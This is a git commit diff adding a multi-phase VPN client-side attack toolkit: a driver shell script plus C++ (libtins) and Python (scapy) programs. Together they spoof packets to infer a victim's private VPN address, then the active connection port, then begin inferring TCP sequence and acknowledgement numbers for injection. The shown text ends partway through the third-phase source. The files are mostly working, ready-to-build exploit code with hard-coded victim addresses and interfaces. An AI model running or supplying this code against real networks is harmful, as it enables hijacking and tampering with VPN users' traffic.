Adding server and client attacks
This commit is contained in:
commit
f088c6fd40
37
client-side-attack/complete_attack/attack.sh
Normal file
37
client-side-attack/complete_attack/attack.sh
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
REMOTE_ADDR=$1
|
||||||
|
REMOTE_PORT=80
|
||||||
|
|
||||||
|
VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
|
||||||
|
WLAN_GATEWAY=192.168.12.1 # address of local network gateway
|
||||||
|
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
|
||||||
|
PRIV_NETMASK=255.255.255.0
|
||||||
|
|
||||||
|
REQUEST_SIZE=529
|
||||||
|
DEST_MAC=a4:34:d9:53:92:c4
|
||||||
|
INTERFACE=wlp1s0
|
||||||
|
|
||||||
|
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||||
|
|
||||||
|
echo `date`
|
||||||
|
echo "attempting to infer client's private VPN address.."
|
||||||
|
|
||||||
|
cd ../first_phase
|
||||||
|
|
||||||
|
|
||||||
|
PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
|
||||||
|
echo "phase 1 client private IP: ${PRIV_IP}"
|
||||||
|
|
||||||
|
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||||
|
echo `date`
|
||||||
|
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
|
||||||
|
cd ../sec_phase
|
||||||
|
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
|
||||||
|
echo "phase 2 port result: ${VPORT}"
|
||||||
|
|
||||||
|
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||||
|
echo `date`
|
||||||
|
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
|
||||||
|
cd ../third_phase
|
||||||
|
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
|
||||||
|
|
||||||
|
echo `date`
|
2
client-side-attack/first_phase/Makefile
Normal file
2
client-side-attack/first_phase/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o send_p1 send.cpp -lpthread -ltins -std=c++11
|
10
client-side-attack/first_phase/phase_one_attack.sh
Normal file
10
client-side-attack/first_phase/phase_one_attack.sh
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#/bin/bash
|
||||||
|
|
||||||
|
./phase_one_attack 52:54:00:12:ae:4c\
|
||||||
|
52:54:00:12:ae:3f\
|
||||||
|
10.7.1.0\
|
||||||
|
255.255.255.0\
|
||||||
|
192.168.64.1\
|
||||||
|
ens5\
|
||||||
|
35220\
|
||||||
|
443
|
204
client-side-attack/first_phase/send.cpp
Normal file
204
client-side-attack/first_phase/send.cpp
Normal file
@ -0,0 +1,204 @@
|
|||||||
|
/*
|
||||||
|
* Modified from http://libtins.github.io/examples/syn-scanner/
|
||||||
|
*
|
||||||
|
* INCLUDED COPYRIGHT
|
||||||
|
* Copyright (c) 2016, Matias Fontanini
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions are
|
||||||
|
* met:
|
||||||
|
*
|
||||||
|
* * Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* * Redistributions in binary form must reproduce the above
|
||||||
|
* copyright notice, this list of conditions and the following disclaimer
|
||||||
|
* in the documentation and/or other materials provided with the
|
||||||
|
* distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <vector>
|
||||||
|
#include <set>
|
||||||
|
#include <string>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <tins/tins.h>
|
||||||
|
#include <tins/ip.h>
|
||||||
|
#include <tins/tcp.h>
|
||||||
|
#include <tins/ip_address.h>
|
||||||
|
#include <tins/ethernetII.h>
|
||||||
|
#include <tins/network_interface.h>
|
||||||
|
#include <tins/sniffer.h>
|
||||||
|
#include <tins/utils.h>
|
||||||
|
#include <tins/packet_sender.h>
|
||||||
|
|
||||||
|
using std::cout;
|
||||||
|
using std::endl;
|
||||||
|
using std::vector;
|
||||||
|
using std::pair;
|
||||||
|
using std::setw;
|
||||||
|
using std::string;
|
||||||
|
using std::set;
|
||||||
|
using std::runtime_error;
|
||||||
|
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
typedef pair<Sniffer*, string> sniffer_data;
|
||||||
|
|
||||||
|
std::string vip;
|
||||||
|
std::string gwip;
|
||||||
|
|
||||||
|
bool verbose = false;
|
||||||
|
|
||||||
|
|
||||||
|
class Scanner {
|
||||||
|
public:
|
||||||
|
Scanner(NetworkInterface& interface,
|
||||||
|
std::string dest_mac,
|
||||||
|
std::string source_mac,
|
||||||
|
std::string gateway_ip,
|
||||||
|
std::string private_ip,
|
||||||
|
std::string private_ip_subnet_mask,
|
||||||
|
int sport,
|
||||||
|
int dport);
|
||||||
|
|
||||||
|
void run();
|
||||||
|
private:
|
||||||
|
void send_synacks();
|
||||||
|
bool callback(PDU& pdu);
|
||||||
|
static void* thread_proc(void* param);
|
||||||
|
void launch_sniffer();
|
||||||
|
NetworkInterface iface;
|
||||||
|
std::string dst_mac;
|
||||||
|
std::string src_mac;
|
||||||
|
std::string src_ip;
|
||||||
|
std::string victim_ip;
|
||||||
|
std::string victim_subnet;
|
||||||
|
int sport;
|
||||||
|
int dport;
|
||||||
|
Sniffer sniffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
Scanner::Scanner(NetworkInterface& interface,
|
||||||
|
std::string dest_mac,
|
||||||
|
std::string source_mac,
|
||||||
|
std::string gateway_ip,
|
||||||
|
std::string private_ip,
|
||||||
|
std::string private_ip_subnet_mask,
|
||||||
|
int src_port,
|
||||||
|
int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void* Scanner::thread_proc(void* param) {
|
||||||
|
Scanner* data = (Scanner*)param;
|
||||||
|
data->launch_sniffer();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Scanner::launch_sniffer() {
|
||||||
|
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Our scan handler. This will receive SYN-ACKS and inform us
|
||||||
|
* the scanned port's status.
|
||||||
|
*/
|
||||||
|
bool Scanner::callback(PDU& pdu) {
|
||||||
|
// Find the layers we want.
|
||||||
|
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
|
||||||
|
static int total_seen = 0;
|
||||||
|
if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
|
||||||
|
if (verbose) std::cout << "Victim IP is:";
|
||||||
|
std::cout << ip.src_addr() << "\n";
|
||||||
|
vip = ip.src_addr();
|
||||||
|
total_seen += 1;
|
||||||
|
if (total_seen > 0) {
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Scanner::run() {
|
||||||
|
pthread_t thread;
|
||||||
|
// Launch our sniff thread.
|
||||||
|
pthread_create(&thread, 0, &Scanner::thread_proc, this);
|
||||||
|
// Start sending SYNs to port.
|
||||||
|
send_synacks();
|
||||||
|
|
||||||
|
// Wait for our sniffer.
|
||||||
|
void* dummy;
|
||||||
|
pthread_join(thread, &dummy);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send syn acks to the given ip address, using the destination ports provided.
|
||||||
|
void Scanner::send_synacks() {
|
||||||
|
// Retrieve the addresses.
|
||||||
|
PacketSender sender;
|
||||||
|
IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
|
||||||
|
|
||||||
|
|
||||||
|
for (const IPv4Address &addr : ip_range) {
|
||||||
|
EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::ACK, 1);
|
||||||
|
tcp.set_flag(TCP::SYN, 1);
|
||||||
|
if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
usleep(10);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void scan(int argc, char* argv[]) {
|
||||||
|
std::string dst_mac = argv[1]; // victim MAC address
|
||||||
|
std::string src_mac = ""; // src mac does not matter
|
||||||
|
std::string private_ip_subnet = argv[2];
|
||||||
|
std::string private_ip_subnet_mask = argv[3];
|
||||||
|
gwip = argv[4]; // IP of server that client is talking to
|
||||||
|
|
||||||
|
int sport = 80; // source, dest port for phase-1 are arbitrary
|
||||||
|
int dport = 80;
|
||||||
|
|
||||||
|
|
||||||
|
IPv4Address ip(gwip);
|
||||||
|
// Resolve the interface which will be our gateway
|
||||||
|
NetworkInterface iface(ip);
|
||||||
|
if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
|
||||||
|
// Consume arguments
|
||||||
|
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
|
||||||
|
private_ip_subnet_mask, sport, dport);
|
||||||
|
scanner.run();
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
if (argc != 6) {
|
||||||
|
std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
scan(argc, argv);
|
||||||
|
}
|
||||||
|
catch(runtime_error& ex) {
|
||||||
|
cout << "Error - " << ex.what() << endl;
|
||||||
|
}
|
||||||
|
}
|
155
client-side-attack/first_phase/slow_p1.py
Normal file
155
client-side-attack/first_phase/slow_p1.py
Normal file
@ -0,0 +1,155 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from scapy.all import *
|
||||||
|
import ipaddress
|
||||||
|
from threading import Thread, Event
|
||||||
|
from time import sleep
|
||||||
|
import os
|
||||||
|
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Thread classes for sniffing
|
||||||
|
#
|
||||||
|
# Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/
|
||||||
|
|
||||||
|
class Sniffer(Thread):
|
||||||
|
def __init__(self, iface="en0"):
|
||||||
|
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
self.daemon = True
|
||||||
|
self.vpn_addr = None
|
||||||
|
|
||||||
|
self.current_phase = 1
|
||||||
|
self.spoof_count = 0
|
||||||
|
self.spoof_port = 0
|
||||||
|
|
||||||
|
self.socket = None
|
||||||
|
self.iface = iface
|
||||||
|
self.stop_sniffer = Event()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.socket = conf.L2listen(
|
||||||
|
type=ETH_P_ALL,
|
||||||
|
iface=self.iface,
|
||||||
|
filter="ip"
|
||||||
|
)
|
||||||
|
|
||||||
|
sniff(
|
||||||
|
opened_socket=self.socket,
|
||||||
|
prn=self.handle_packet,
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
def join(self, timeout=None):
|
||||||
|
self.stop_sniffer.set()
|
||||||
|
super().join(timeout)
|
||||||
|
|
||||||
|
def get_vpn_addr(self):
|
||||||
|
return self.vpn_addr
|
||||||
|
|
||||||
|
def set_phase(self, phase):
|
||||||
|
self.current_phase = phase
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def check_for_req(self, packet):
|
||||||
|
|
||||||
|
ip_layer = packet.getlayer(IP)
|
||||||
|
|
||||||
|
# for phase 1 (on ubuntu 19) we wanna look for a reset
|
||||||
|
# with source of private vpn address and dest of gateway
|
||||||
|
|
||||||
|
if self.current_phase == 1:
|
||||||
|
|
||||||
|
if "10." in ip_layer.src:
|
||||||
|
|
||||||
|
if ip_layer.src == self.vpn_addr:
|
||||||
|
print("multiple matches for: " + str(self.vpn_addr))
|
||||||
|
# could make the scan stop after this point but
|
||||||
|
# only takes a second or two to finish up
|
||||||
|
|
||||||
|
print("Victim private ip is: " + str(ip_layer.src))
|
||||||
|
self.vpn_addr = ip_layer.src
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def handle_packet(self, packet):
|
||||||
|
|
||||||
|
#ip_layer = packet.getlayer(IP)
|
||||||
|
#print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
|
||||||
|
|
||||||
|
# if its not an SSH packet then check for challenge acks
|
||||||
|
#
|
||||||
|
if TCP in packet:
|
||||||
|
tcp_sport = packet[TCP].sport
|
||||||
|
tcp_dport = packet[TCP].dport
|
||||||
|
|
||||||
|
if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22):
|
||||||
|
|
||||||
|
self.check_for_req(packet)
|
||||||
|
############
|
||||||
|
|
||||||
|
def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1",
|
||||||
|
sport=50505, dport=443, flags="SA"):
|
||||||
|
|
||||||
|
pieces = gateway_ip.split('.')
|
||||||
|
src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN
|
||||||
|
src = gateway_ip
|
||||||
|
eth = Ether(dst=edst)
|
||||||
|
tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter
|
||||||
|
|
||||||
|
for ip in ipaddress.IPv4Network(dst_net + '/24'):
|
||||||
|
print('{} to: {}'.format(flags, str(ip)))
|
||||||
|
ip_pack = IP(src = src, dst = str(ip))
|
||||||
|
sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0)
|
||||||
|
|
||||||
|
|
||||||
|
print("\nFinished spreading to private address space.")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 5:
|
||||||
|
print("Usage:\n{} {} {} {} {} [{}] [{}]".format(
|
||||||
|
sys.argv[0], "<GATEWAY_IP>", "<VPN SUBNET>", "<IFACE>", "<VICTIM_MAC>",
|
||||||
|
"<SPORT>", "<>"))
|
||||||
|
exit(-1)
|
||||||
|
gateway_ip = sys.argv[1]
|
||||||
|
vpn_net = sys.argv[2]
|
||||||
|
iface = sys.argv[3]
|
||||||
|
edst = sys.argv[4]
|
||||||
|
if len(sys.argv) == 6:
|
||||||
|
sport = int(sys.argv[5])
|
||||||
|
else:
|
||||||
|
sport = 50505
|
||||||
|
if len(sys.argv) == 7:
|
||||||
|
dport = int(sys.argv[6])
|
||||||
|
else:
|
||||||
|
dport = 443
|
||||||
|
if len(sys.argv) == 8:
|
||||||
|
flags = sys.argv[7]
|
||||||
|
else:
|
||||||
|
flags = "SA"
|
||||||
|
|
||||||
|
|
||||||
|
sniffer = Sniffer(iface=iface)
|
||||||
|
sniffer.start()
|
||||||
|
|
||||||
|
## Phase 1 - spread private address range passed in
|
||||||
|
#
|
||||||
|
sleep(.5)
|
||||||
|
|
||||||
|
print("Scanning entire dest net " + str(vpn_net))
|
||||||
|
phase_one_spread(gateway_ip, str(vpn_net),
|
||||||
|
iface=iface, edst=edst,
|
||||||
|
sport=sport, dport=dport, flags=flags)
|
||||||
|
|
||||||
|
vpn_addr = sniffer.get_vpn_addr()
|
||||||
|
print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n')
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
12
client-side-attack/rebuild_all.sh
Normal file
12
client-side-attack/rebuild_all.sh
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
echo "Remaking each attack phase script..."
|
||||||
|
|
||||||
|
cd ./first_phase
|
||||||
|
make
|
||||||
|
|
||||||
|
cd ../sec_phase
|
||||||
|
make
|
||||||
|
|
||||||
|
cd ../third_phase
|
||||||
|
make
|
||||||
|
|
||||||
|
echo "Finished building attack scripts."
|
2
client-side-attack/sec_phase/Makefile
Normal file
2
client-side-attack/sec_phase/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o send_p2 send.cpp -lpthread -ltins -std=c++11
|
241
client-side-attack/sec_phase/send.cpp
Normal file
241
client-side-attack/sec_phase/send.cpp
Normal file
@ -0,0 +1,241 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::string;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
|
||||||
|
int current_spoof_port, best_port, chack_count;
|
||||||
|
bool sniffed_chack = false;
|
||||||
|
bool is_running = true;
|
||||||
|
bool verbose = false;
|
||||||
|
bool count_chacks = false;
|
||||||
|
bool quick_mode = true; // if true we don't recheck the port
|
||||||
|
|
||||||
|
int num_sent = 0;
|
||||||
|
string victim_wlan_addr;
|
||||||
|
string remote_addr;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool handle_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
// keep track of the last port we spoofed
|
||||||
|
if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
|
||||||
|
|
||||||
|
if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
//cout << "sniffed something: " <<payload << "\n";
|
||||||
|
const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
|
||||||
|
|
||||||
|
if (remainder != 0) {
|
||||||
|
|
||||||
|
//cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
|
||||||
|
|
||||||
|
// If it's not working as expected, uncomment the line above to
|
||||||
|
// check what the typical remainder is looking like as it scans the
|
||||||
|
// port range. In this case, ubuntu 19, if you uncomment the line above
|
||||||
|
// it would repeatedly sniff 41 packets until the correct port, then it
|
||||||
|
// would sniff a 48 packet
|
||||||
|
|
||||||
|
if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS
|
||||||
|
if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
|
||||||
|
|
||||||
|
if (count_chacks) chack_count ++;
|
||||||
|
if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
|
||||||
|
if (!sniffed_chack) {
|
||||||
|
sniffed_chack = true;
|
||||||
|
best_port = current_spoof_port;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return is_running;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sniff_stuff() {
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
Sniffer sniffer("wlp1s0", config);
|
||||||
|
sniffer.sniff_loop(handle_packet);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
|
||||||
|
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
count_chacks = true;
|
||||||
|
chack_count = 0;
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::SYN, 1);
|
||||||
|
|
||||||
|
int count = 0;
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
while (count < num_checks) {
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
usleep(1000000 / 2); // must sleep half second due to chack rate limit
|
||||||
|
count ++;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000);
|
||||||
|
|
||||||
|
// should have just sniffed as many chacks as we just sent
|
||||||
|
if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";
|
||||||
|
|
||||||
|
if (chack_count >= num_checks) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
count_chacks = false;
|
||||||
|
num_sent += count;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Spreads SYNs across the victim's entire port range
|
||||||
|
// coming from a specific remote_ip:port
|
||||||
|
//
|
||||||
|
int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
|
||||||
|
int end_port = 42000;//61000;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::SYN, 1);
|
||||||
|
|
||||||
|
int current_port = best_port;
|
||||||
|
|
||||||
|
for (i = start_port; i < end_port; i ++) {
|
||||||
|
|
||||||
|
tcp.dport(i); // set the packets dest port to current guess
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
usleep(10);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000); // sleep to give victim time to respond w chack
|
||||||
|
|
||||||
|
current_port = best_port;
|
||||||
|
if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
|
||||||
|
|
||||||
|
// In round 1 we spoofed fast (10 sleep) to get a good estimate of the
|
||||||
|
// port in use. Round 2, we spoof slower from about 50 packets back to account
|
||||||
|
// for the delay in response and hopefully get the exact port number in use
|
||||||
|
|
||||||
|
print_divider(1);
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
sniffed_chack = false;
|
||||||
|
|
||||||
|
int j;
|
||||||
|
int send_delay = 300;
|
||||||
|
|
||||||
|
if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
|
||||||
|
for (j = (current_port - send_delay); j < current_port; j++) {
|
||||||
|
tcp.dport(j); // set the packets dest port to current guess
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
usleep(600 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000);
|
||||||
|
|
||||||
|
if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
|
||||||
|
|
||||||
|
return best_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
int current_port = 0;
|
||||||
|
|
||||||
|
while (!is_found) {
|
||||||
|
|
||||||
|
current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
|
||||||
|
|
||||||
|
cout << current_port << "\n";
|
||||||
|
|
||||||
|
if (quick_mode) {
|
||||||
|
is_found = true;
|
||||||
|
} else {
|
||||||
|
is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return current_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
if (argc != 5 && argc != 6) {
|
||||||
|
cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
remote_addr = argv[1];
|
||||||
|
int sport = atoi(argv[2]);
|
||||||
|
victim_wlan_addr = argv[3];
|
||||||
|
string dest_ip = argv[4];
|
||||||
|
//verbose = true;
|
||||||
|
|
||||||
|
string dest_mac = argv[5];
|
||||||
|
string src_mac = "";
|
||||||
|
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
thread sniff_thread(sniff_stuff);
|
||||||
|
|
||||||
|
int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
|
||||||
|
is_running = false;
|
||||||
|
sniff_thread.detach();
|
||||||
|
//sniff_thread.join();
|
||||||
|
|
||||||
|
print_divider(1);
|
||||||
|
if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
|
||||||
|
cout << p << "\n";
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
2
client-side-attack/third_phase/Makefile
Normal file
2
client-side-attack/third_phase/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11
|
694
client-side-attack/third_phase/send.cpp
Normal file
694
client-side-attack/third_phase/send.cpp
Normal file
@ -0,0 +1,694 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::vector;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
long current_spoof_seq;
|
||||||
|
long current_spoof_ack;
|
||||||
|
long current_min_ack;
|
||||||
|
long best_seq = 0;
|
||||||
|
long best_ack;
|
||||||
|
|
||||||
|
vector<long> possible_seqs;
|
||||||
|
vector<long> possible_acks;
|
||||||
|
|
||||||
|
int num_sent = 0;
|
||||||
|
int current_round = 1;
|
||||||
|
bool ack_search = false;
|
||||||
|
bool track_nums = false;
|
||||||
|
bool count_chacks = false;
|
||||||
|
bool sniffed_chack = false;
|
||||||
|
|
||||||
|
bool show = false;
|
||||||
|
bool testing = true; // if using netcat set to true, else false
|
||||||
|
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
|
||||||
|
|
||||||
|
std::string victim_wlan_addr, dest_ip, remote_addr;
|
||||||
|
int sport, dport, request_size, chack_count;
|
||||||
|
|
||||||
|
|
||||||
|
std::string dest_mac; // victim mac addr
|
||||||
|
std::string src_mac = ""; // src mac doesn't matter
|
||||||
|
|
||||||
|
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
